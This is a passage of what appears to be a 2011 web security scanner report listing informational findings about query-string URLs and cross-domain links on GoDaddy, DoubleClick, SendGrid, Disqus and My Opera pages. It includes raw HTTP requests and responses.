P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Fri, 16 Sep 2011 15:29:42 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 378
X-XSS-Protection: 1; mode=block

<html><body bgcolor="#ffffff" link="#000000" alink="#000000" vlink="#000000" leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><center><font style="font-size:11px" face="arial,sans-serif" color="#000000">Google Site Stats - <a href="https://services.google.com/sitestats/en.html?cid=1071433059" target="_blank">learn more</a>
...[SNIP]...

15.22. http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1072356810/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/viewthroughconversion/1072356810/

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1072356810/?random=1316207703039&cv=6&fst=1316207703039&num=1&fmt=1&value=1&label=VwKaCN7ZUBDKu6v_Aw&bg=ffffff&hl=en&gl=US&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=6&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.altn.com/Downloads/&url=http%3A//www.altn.com/Downloads/FreeEvaluation/&ctc_id=CAEVAQAAAB0BAAAA&ct_cookie_present=true

The response contains the following link to another domain:

https://services.google.com/sitestats/en_US.html?cid=1072356810

Request

GET /pagead/viewthroughconversion/1072356810/?random=1316207703039&cv=6&fst=1316207703039&num=1&fmt=1&value=1&label=VwKaCN7ZUBDKu6v_Aw&bg=ffffff&hl=en&gl=US&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=6&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.altn.com/Downloads/&url=http%3A//www.altn.com/Downloads/FreeEvaluation/&ctc_id=CAEVAQAAAB0BAAAA&ct_cookie_present=true HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Downloads/FreeEvaluation/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=OPT_OUT

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Fri, 16 Sep 2011 16:14:18 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 381
X-XSS-Protection: 1; mode=block

<html><body bgcolor="#ffffff" link="#000000" alink="#000000" vlink="#000000" leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><center><font style="font-size:11px" face="arial,sans-serif" color="#000000">Google Site Stats - <a href="https://services.google.com/sitestats/en_US.html?cid=1072356810" target="_blank">learn more</a>
...[SNIP]...

15.23. http://help.securepaynet.net/topic/168/article/5246 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.securepaynet.net
Path:	/topic/168/article/5246

Issue detail

The page was loaded from a URL containing a query string:

http://help.securepaynet.net/topic/168/article/5246?plid=

The response contains the following links to other domains:

http://img.secureserver.net/image.aspx?page=%2Farticle%2F5246&site=help.securepaynet.net&server=m1plgdhelp005&querystring=plid%3D&status=200&article_id=5246&locale=en&topic_id=168
http://www.adobe.com/

Request

GET /topic/168/article/5246?plid= HTTP/1.1
Host: help.securepaynet.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:09:30 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5
Vary: Accept-Encoding
Content-Length: 8735
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<html>
   <head>
       <title>
                           Getting Started with Your Workspace Products -
                                       Help Center
                   </title>
       <meta http-equiv="Content-Type" content="text/html; charset=utf-8"
...[SNIP]...
you set up and become familiar with your Workspace products. These guides are in the Adobe PDF format and require Adobe Acrobat Reader to open and print them. You can download Adobe Acrobat Reader at <a href="http://www.adobe.com"> Adobe's website</a>
...[SNIP]...
</div>

   <img src="//img.secureserver.net/image.aspx?page=%2Farticle%2F5246&site=help.securepaynet.net&server=m1plgdhelp005&querystring=plid%3D&status=200&article_id=5246&locale=en&topic_id=168" class="gdti" border="0" width="1" height="1" style="width: 1px; height: 1px; border: 0; margin: 0; padding: 0; position: absolute; top: 1em; left: 0.5em;" alt="" />


<div id="rating">
...[SNIP]...

15.24. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The page was loaded from a URL containing a query string:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181&target=http%3A%2F%2Fwww.godaddy.com%2F

The response contains the following links to other domains:

https://email.secureserver.net/
https://imagesak.securepaynet.net/assets/spc_ffffff.gif
https://imagesak.securepaynet.net/assets/spc_transparent.gif
https://imagesak.securepaynet.net/idp/CSS/sso.css
https://imagesak.securepaynet.net/idp/css/1.css
https://imagesak.securepaynet.net/sso/gd/imgs/favicon.ico
https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css
https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js
https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:06:00 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:00 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 94607

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js" type="text/javascript"></script>
...[SNIP]...
</title>
<link href='https://imagesak.securepaynet.net/idp/CSS/sso.css' type="text/css" rel="stylesheet" />

<link href='https://imagesak.securepaynet.net/idp/css/1.css' type="text/css" rel="stylesheet" />
</head>
...[SNIP]...
<div align="center" class="normal_text">
<link href='https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css' type="text/css" rel="stylesheet" />
<div style="display:none;">
...[SNIP]...
</div>
<link rel="shortcut icon" type="image/x-ico" href="https://imagesak.securepaynet.net/sso/gd/imgs/favicon.ico" />

<script type="text/javascript" language="javascript" src="https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
</script>
<script src="https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1" type="text/javascript"></script>
...[SNIP]...
<td width="100%">
<img src='https://imagesak.securepaynet.net/assets/spc_ffffff.gif' border="0" width="1"
height="10" alt=""/></td>
...[SNIP]...
<div><img src='https://imagesak.securepaynet.net/assets/spc_transparent.gif' border="0" alt="" height="10" width="1"/></div>
...[SNIP]...
<div><img src='https://imagesak.securepaynet.net/assets/spc_transparent.gif' border="0" alt="" height="8" width="1"/></div>
...[SNIP]...
<td width="100%">
<img src='https://imagesak.securepaynet.net/assets/spc_ffffff.gif' border="0" width="1"
height="10" alt=""/></td>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...

15.25. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The page was loaded from a URL containing a query string:

https://idp.godaddy.com/retrieveaccount.aspx?ci=9107&spkey=GDSWNET-M1PWCORPWEB181

The response contains the following links to other domains:

https://email.secureserver.net/
https://imagesak.securepaynet.net/idp/CSS/sso.css
https://imagesak.securepaynet.net/idp/css/1.css
https://imagesak.securepaynet.net/sso/gd/imgs/favicon.ico
https://imagesak.securepaynet.net/sso/img_password_ret.gif
https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css
https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js
https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:06:11 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:11 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 96984

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js" type="text/javascript"></script>
...[SNIP]...
</title>
<link href="https://imagesak.securepaynet.net/idp/CSS/sso.css" type="text/css" rel="stylesheet" />

<link href="https://imagesak.securepaynet.net/idp/css/1.css" type="text/css" rel="stylesheet" />
</head>
...[SNIP]...
<div style="margin: 0; padding: 0; width: 1000px;; background-color: #FFFFFF";>
<link href='https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css' type="text/css" rel="stylesheet" />
<div style="display:none;">
...[SNIP]...
</div>
<link rel="shortcut icon" type="image/x-ico" href="https://imagesak.securepaynet.net/sso/gd/imgs/favicon.ico" />

<script type="text/javascript" language="javascript" src="https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
</script>
<script src="https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1" type="text/javascript"></script>
...[SNIP]...
<td valign="top" align="left">
<img src="https://imagesak.securepaynet.net/sso/img_password_ret.gif" height="131" width="132" hspace="8" vspace="8" alt="" />
</td>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...

15.26. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The page was loaded from a URL containing a query string:

https://idp.godaddy.com/shopper_new.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181

The response contains the following links to other domains:

https://email.secureserver.net/
https://imagesak.securepaynet.net/assets/spc_666666.gif
https://imagesak.securepaynet.net/assets/spc_ffffff.gif
https://imagesak.securepaynet.net/assets/spc_transparent.gif
https://imagesak.securepaynet.net/idp/CSS/sso.css
https://imagesak.securepaynet.net/idp/css/1.css
https://imagesak.securepaynet.net/mya/indicator.gif
https://imagesak.securepaynet.net/sso/gd/imgs/favicon.ico
https://img1.wsimg.com/mya/myaccount/icon_help_blue.png
https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css
https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js
https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:06:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:06:18 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 212496

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<div id="atl_quickhelp" style="display: none; position:
...[SNIP]...
</title>
<link href="https://imagesak.securepaynet.net/idp/CSS/sso.css" type="text/css" rel="stylesheet" />

<link href="https://imagesak.securepaynet.net/idp/css/1.css" type="text/css"
rel="stylesheet" />

<script language="javascript" type="text/javascript">
...[SNIP]...
<body id="DocumentBody" marginwidth="0" bgcolor="#ffffff" topmargin="0" marginheight="0" leftmargin="0" link="#0000ff" text="#000000" alink="#0000ff" vlink="#0000ff">
<script src="https://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.1.min.js" type="text/javascript"></script>
...[SNIP]...
<div style="margin: 0; padding:0; width: 1000px; background-color: #FFFFFF">
<link href='https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css' type="text/css" rel="stylesheet" />
<div style="display:none;">
...[SNIP]...
</div>
<link rel="shortcut icon" type="image/x-ico" href="https://imagesak.securepaynet.net/sso/gd/imgs/favicon.ico" />

<script type="text/javascript" language="javascript" src="https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js"></script>
...[SNIP]...
<strong><a href="https://login.secureserver.net/index.php">
Check My Webmail</a>
...[SNIP]...
<strong><a href="https://email.secureserver.net/">
Check My Webmail</a>
...[SNIP]...
</script>
<script src="https://img3.wsimg.com/idp/script/Fastball_Lib.js?version=1" type="text/javascript"></script>
...[SNIP]...
<font style="font-size: 11px;" face="Arial, Verdana, Helvetica"
color="#000000" size="2">
<img height="5" alt="" src='https://imagesak.securepaynet.net/assets/spc_ffffff.gif'
width="1" border="0" /><br />
...[SNIP]...
<br />
<img height="1" alt="" src='https://imagesak.securepaynet.net/assets/spc_666666.gif'
width="780" border="0" />
</font>
...[SNIP]...
<td>
<img height="10" alt="" src='https://imagesak.securepaynet.net/assets/spc_ffffff.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td class="bgcolorBdr">
<img height="1" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td colspan="2">
<img height="3" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td colspan="2">
<img height="8" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0">
</td>
...[SNIP]...
<div id="UpdateProgress1" style="display:none;">

<img src='https://imagesak.securepaynet.net/mya/indicator.gif' style="position: absolute;
display:inline; border: 0px; margin: -20 0 0 300px;" alt="processing..." />

</div>
...[SNIP]...
<td valign="middle">
<img src="https://img1.wsimg.com//mya/myaccount/icon_help_blue.png" alt="help" onmouseover="atl_hideSelect(true);atl_ShowQuickHelp(event, 'CurrencyPreferences');"
onmouseout="atl_hideSelect(false);atl_HideQuickHelp();" />
</td>
...[SNIP]...
<td class="bgcolorBdr">
<img height="1" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td colspan="3">
<img height="15" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td class="bgcolorBdr">
<img height="1" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td colspan="2">
<img height="3" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td class="bgcolorBdr">
<img height="1" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<td colspan="3">
<img height="15" alt="" src='https://imagesak.securepaynet.net/assets/spc_transparent.gif'
width="1" border="0" />
</td>
...[SNIP]...
<div class="div_cols">
<a href="https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe" target="_blank">Webmail</a>
...[SNIP]...

15.27. http://landing.sendgrid.com/smtp-with-bullet-points/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://landing.sendgrid.com
Path:	/smtp-with-bullet-points/

Issue detail

The page was loaded from a URL containing a query string:

http://landing.sendgrid.com/smtp-with-bullet-points/?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ

The response contains the following links to other domains:

http://cdn.performable.com/catalog/1570.0/assets/images/MgTpS-hootsuite_logo.jpg
http://cdn.performable.com/catalog/1570.0/assets/images/UKdcP-foursquare_logo.jpg
http://cdn.performable.com/catalog/1570.0/assets/images/daSRY-slideshare_logo.jpg
http://cdn.performable.com/catalog/2537.0/assets/images/HBUgk-graph.jpg
http://cdn.performable.com/catalog/2537.0/assets/images/iB9K3-check_mark.png
http://cdn.performable.com/catalog/2537.0/assets/images/vHBiJ-get_satisfaction_logo.jpg
http://d1nu2rn22elx8m.cloudfront.net/catalog/5028.0/assets/images/rMTPr-check_small.png
http://d2f7h8c8hc0u7y.cloudfront.net/performable/pax/0a6gTR.js
http://munchkin.marketo.net/munchkin.js

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Sep 2011 15:26:40 GMT
Etag: "2805714aa1978d522016ecdddc8dd049573f00e4"
Server: TornadoServer/1.0
Set-Cookie: __ptcx=9GFPhk.3Gp89g.1; expires=Wed, 14 Mar 2012 15:26:40 GMT; Path=/
Set-Cookie: __pcid=9GFPhk:1; Domain=.sendgrid.com; expires=Wed, 14 Mar 2012 15:26:40 GMT; Path=/
X-Rafa-Header: rafa-8.internal.performable.us
Connection: keep-alive
Content-Length: 11284

<html>
<head>
<meta name="image:Logo" content="http://cdn.performable.com/catalog/2537.0/assets/images/HpeUB-sendgrid_logo.jpg" height="359" width="93" />
<meta name="text:Headline" content="Is delive
...[SNIP]...
<div class="check-img"><img style="vertical-align: middle;" src="http://cdn.performable.com/catalog/2537.0/assets/images/iB9K3-check_mark.png" alt="SendGrid Bullet One" width="52" height="45" /></div>
...[SNIP]...
<div class="check-img"><img style="vertical-align: middle;" src="http://cdn.performable.com/catalog/2537.0/assets/images/iB9K3-check_mark.png" alt="SendGrid Bullet Two" width="52" height="45" /></div>
...[SNIP]...
<div class="smtp-list"><img style="vertical-align: middle;" src="http://d1nu2rn22elx8m.cloudfront.net/catalog/5028.0/assets/images/rMTPr-check_small.png" alt="" width="29" height="25" />SMTP API<br /> <img style="vertical-align: middle;" src="http://d1nu2rn22elx8m.cloudfront.net/catalog/5028.0/assets/images/rMTPr-check_small.png" alt="" width="29" height="25" />SMTP relay<br /> <img style="vertical-align: middle;" src="http://d1nu2rn22elx8m.cloudfront.net/catalog/5028.0/assets/images/rMTPr-check_small.png" alt="" width="29" height="25" />Web API<br /> <img style="vertical-align: middle;" src="http://d1nu2rn22elx8m.cloudfront.net/catalog/5028.0/assets/images/rMTPr-check_small.png" alt="" width="29" height="25" />Parse API<br /> <img style="vertical-align: middle;" src="http://d1nu2rn22elx8m.cloudfront.net/catalog/5028.0/assets/images/rMTPr-check_small.png" alt="" width="29" height="25" />Event API</div>
...[SNIP]...
<div class="check-img"><img style="vertical-align: middle;" src="http://cdn.performable.com/catalog/2537.0/assets/images/iB9K3-check_mark.png" alt="SendGrid Bullet Three" width="52" height="45" /></div>
...[SNIP]...
<div class="check-img"><img style="vertical-align: middle;" src="http://cdn.performable.com/catalog/2537.0/assets/images/iB9K3-check_mark.png" alt="SendGrid Bullet Four" width="52" height="45" /></div>
...[SNIP]...
<a href="http://sendgrid.com/pricing.html"><img src="http://cdn.performable.com/catalog/2537.0/assets/images/HBUgk-graph.jpg" width="400" class="main" border="0" /></a>
...[SNIP]...
</h3>

<img src="http://cdn.performable.com/catalog/1570.0/assets/images/UKdcP-foursquare_logo.jpg" />
<img src="http://cdn.performable.com/catalog/1570.0/assets/images/daSRY-slideshare_logo.jpg" />
<img src="http://cdn.performable.com/catalog/2537.0/assets/images/vHBiJ-get_satisfaction_logo.jpg" />
<img src="http://cdn.performable.com/catalog/1570.0/assets/images/MgTpS-hootsuite_logo.jpg" />

</div>
...[SNIP]...
</script>
<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...
</script>

<script src="//d2f7h8c8hc0u7y.cloudfront.net/performable/pax/0a6gTR.js"></script>
...[SNIP]...

15.28. http://mediacdn.disqus.com/1316112938/build/system/disqus.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1316112938/build/system/disqus.js

Issue detail

The page was loaded from a URL containing a query string:

http://mediacdn.disqus.com/1316112938/build/system/disqus.js?

The response contains the following links to other domains:

http://twitter.com/'+c+'
http://www.youtube.com/v/'),

Request

GET /1316112938/build/system/disqus.js? HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: disqus_unique=608614822849; __qca=P0-943627109-1315055753168; sessionid=ebeeeac597d2aa02500a0fdc973b4e14; __utma=113869458.1840189074.1315055753.1315760571.1316054545.12; __utmz=113869458.1316054545.12.12.utmcsr=gossipcop.com|utmccn=(referral)|utmcmd=referral|utmcct=/scarlett-johansson-naked-pics-leak-nude-pictures-photos-leaked-scarlet-johanson-johansen-hacked-real-fake/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Thu, 15 Sep 2011 21:14:59 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: application/javascript
Vary: Accept-Encoding
Content-Length: 171322
X-Varnish: 2164048139 2164041949
Cache-Control: max-age=2517811
Expires: Sat, 15 Oct 2011 21:18:54 GMT
Date: Fri, 16 Sep 2011 17:55:23 GMT
Connection: close

DISQUS.define("dtpl",function(){var b=function(){};b.prototype={container:function(){return this._container},textareaContainer:function(){return this._textareaContainer},show:function(){var a=this.con
...[SNIP]...
<span class="dsq-mention dsq-tt dsq-mention-twitter"original-title="Expand @'+c+'\'s profile" data-dsq-username="'+c+'" data-dsq-remote="twitter"><a class="twitter-account" href="http://twitter.com/'+c+'" onclick="window.open(\''+("http://twitter.com/intent/user?screen_name="+c)+"', 'Twitter Mention', 'height=420, width=550');return false;\">@"+c+"</a>
...[SNIP]...
</param> <embed src="http://www.youtube.com/v/'),
a.put(media.location),a.put('&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed>
...[SNIP]...

15.29. https://my.opera.com/community/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://my.opera.com
Path:	/community/signup/

Issue detail

The page was loaded from a URL containing a query string:

https://my.opera.com/community/signup/?s_ref=home

The response contains the following links to other domains:

https://static.myopera.com/community/css/loginsignup.css
https://static.myopera.com/community/graphics/dexter/myopera-big.png
https://static.myopera.com/community/js/lib/opera-driver-yui-min.js
https://static.myopera.com/community/js/lib/opera-min.js
https://static.myopera.com/community/js/lib/yui/build/selector/selector-min.js
https://static.myopera.com/community/js/lib/yui/build/yuiloader-dom-event/yuiloader-dom-event-min.js
https://static.myopera.com/favicon.ico
https://www.google.com/recaptcha/api/challenge?k=6LfnuAYAAAAAAJ_9S1HZ8qxfs145BrjYjzec1yjC
https://www.google.com/recaptcha/api/noscript?k=6LfnuAYAAAAAAJ_9S1HZ8qxfs145BrjYjzec1yjC

Request

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 16:19:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-MyO-Request: 1316189984.myo.cDoyNzowMTowMA==
Content-Length: 6456

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...
</title>
<link rel="shortcut icon" href="https://static.myopera.com:443/favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="https://static.myopera.com/community/css/loginsignup.css" type="text/css">
<!--[if IE 6]>
...[SNIP]...
<a href="http://my.opera.com/community/"><img src="https://static.myopera.com/community/graphics/dexter/myopera-big.png" alt="My Opera" width="210" height="60"></a>
...[SNIP]...
</script>
<script src="https://www.google.com/recaptcha/api/challenge?k=6LfnuAYAAAAAAJ_9S1HZ8qxfs145BrjYjzec1yjC" type="text/javascript"></script>
<noscript><iframe frameborder="0" height="300" src="https://www.google.com/recaptcha/api/noscript?k=6LfnuAYAAAAAAJ_9S1HZ8qxfs145BrjYjzec1yjC" width="500"></iframe>
...[SNIP]...
</footer><script type="text/javascript" src="https://static.myopera.com/community/js/lib/yui/build/yuiloader-dom-event/yuiloader-dom-event-min.js"></script><script type="text/javascript" src="https://static.myopera.com/community/js/lib/yui/build/selector/selector-min.js"></script><script type="text/javascript" src="https://static.myopera.com/community/js/lib/opera-min.js"></script><script type="text/javascript" src="https://static.myopera.com/community/js/lib/opera-driver-yui-min.js"></script>
...[SNIP]...

15.30. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The page was loaded from a URL containing a query string:

https://mya.godaddy.com/Default.aspx?idpinfo=none&myaurl=%2fdefault.aspx&ci=13025

The response contains the following links to other domains:

https://email.secureserver.net/
https://img1.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
https://img1.wsimg.com/assets/godaddy.ico
https://img1.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1
https://img1.wsimg.com/fos/ani/spinner.gif
https://img1.wsimg.com/fos/icn/ajax-spinner-med.gif
https://img1.wsimg.com/mya/1/dragon/ani/ani_wait_bar.gif
https://img1.wsimg.com/mya/Banners/but_getstarted.png
https://img1.wsimg.com/mya/css/1/mya_https_20101203.css
https://img1.wsimg.com/mya/indicator.gif
https://img1.wsimg.com/mya/scripts/jquery-ui-scripts2.min.js
https://img1.wsimg.com/mya/scripts/jquery.stylish-select3.min.js
https://img1.wsimg.com/mya/scripts/json-popin2.js?version=1
https://img1.wsimg.com/mya/scripts/mya-master-script2.min.js
https://img2.wsimg.com/pc_css/1/gd_20110906_https.min.css
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ShopperId1=icrggiheobkgocvhqhmjwbmindlamiea; domain=godaddy.com; expires=Thu, 16-Sep-2021 18:08:24 GMT; path=/
